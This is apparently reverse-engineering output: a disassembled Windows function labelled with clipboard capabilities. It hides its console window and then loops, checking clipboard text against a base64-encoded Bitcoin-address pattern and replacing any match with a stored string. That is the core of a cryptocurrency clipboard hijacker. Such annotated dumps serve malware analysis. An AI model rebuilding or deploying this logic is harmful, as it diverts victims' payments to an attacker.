Function at 0x140001e00
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xe0
mov rax, qword [0x140011010]
xor rax, rsp
mov qword [rbp + 0x4f], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140001720
xor esi, esi
nop dword [rax]
nop word [rax + rax]
mov qword [rbp + 0xf], rsi
mov qword [rbp + 0x1f], rsi
mov qword [rbp + 0x27], 0xf
mov r8d, 0x30
lea rdx, str.XihiYzF8WzEzXSlbYS16QS1ISi1OUC1aMC05XXsyNSwzOX0k
lea rcx, [rbp + 0xf]
call fcn.1400034e0
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140001efd
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
test rax, rax
je 0x140001ef7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x140001ef7
mov qword [rbp + 0x2f], rsi
mov qword [rbp + 0x3f], rsi
mov qword [rbp + 0x47], 0xf
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140001ec0
mov rdx, rax
lea rcx, [rbp + 0x2f]
call fcn.1400034e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
movups xmm0, xmmword [rbp + 0x2f]
movups xmmword [rbp - 0x11], xmm0
movups xmm1, xmmword [rbp + 0x3f]
movups xmmword [rbp - 1], xmm1
jmp 0x140001f20
call qword [sym.imp.USER32.dll_CloseClipboard]
mov qword [rbp - 0x11], rsi
mov qword [rbp - 1], rsi
mov qword [rbp + 7], 0xf
xor r8d, r8d
lea rdx, [0x14000c5c8]
lea rcx, [rbp - 0x11]
call fcn.1400034e0
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x31]
call fcn.140001580
mov rbx, rax
mov qword [rbp - 0x59], rsi
mov cl, 1
call qword [sym.imp.MSVCP140.dll_private:_static_class_std::locale::_Locimp____ptr64___cdecl_std::locale::_Init_bool_]
mov qword [rbp - 0x39], rax
lea rcx, [rbp - 0x51]
call fcn.140003c90
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140001f58
mov rcx, qword [rbx]
jmp 0x140001f5d
mov rdx, rbx
jb 0x140001f60
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
add r8, rcx
lea rcx, [rbp - 0x59]
call fcn.140003e60
lea r8, [rbp - 0x11]
cmp qword [rbp + 7], 0x10
cmovae r8, qword [rbp - 0x11]
lea rcx, [rbp - 0x11]
cmovae rcx, qword [rbp - 0x11]
mov rdx, qword [rbp - 1]
add rdx, r8
mov dword [rsp + 0x20], 0x10
lea r9, [rbp - 0x59]
call fcn.140004140
movzx edi, al
mov rdx, qword [rbp - 0x59]
test rdx, rdx
je 0x140001fec
mov ecx, 0xffffffff
lock xadd dword [rdx + 0x2c], ecx
cmp ecx, 1
jne 0x140001fec
mov rbx, qword [rbp - 0x59]
test rbx, rbx
je 0x140001fec
nop dword [rax]
nop word [rax + rax]
mov rcx, rbx
lea rax, [rbx + 0x10]
mov rbx, qword [rax]
mov qword [rax], rsi
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
test rbx, rbx
jne 0x140001fd0
mov qword [rbp - 0x59], rsi
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x140002012
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140002012
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rdx, qword [rbp - 0x19]
cmp rdx, 0x10
jb 0x14000204d
inc rdx
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002048
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002153
call fcn.14000a8ac
test dil, dil
je 0x1400020c4
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140002160
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [rbp - 1]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdi, rax
test rax, rax
je 0x14000215a
mov rbx, qword [rbp - 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rcx, rax
lea r8, [0x14000cc24]
lea rdx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rdi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rdx, qword [rbp + 7]
cmp rdx, 0x10
jb 0x1400020ff
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002208
call fcn.14000a8ac
mov qword [rbp - 1], rsi
mov qword [rbp + 7], 0xf
mov byte [rbp - 0x11], 0
mov rdx, qword [rbp + 0x27]
cmp rdx, 0x10
jb 0x140001e50
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002149
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002208
call fcn.14000a8ac
jmp 0x140001e50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rdx, qword [rbp + 7]
cmp rdx, 0x10
jb 0x140002197
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002192
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002208
call fcn.14000a8ac
mov qword [rbp - 1], rsi
mov qword [rbp + 7], 0xf
mov byte [rbp - 0x11], 0
mov rdx, qword [rbp + 0x27]
cmp rdx, 0x10
jb 0x1400021de
inc rdx
mov rcx, qword [rbp + 0xf]
mov r8, rcx
cmp rdx, 0x1000
jb 0x1400021d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x140002208
call fcn.14000a8ac
mov eax, 1
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.14000a850
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3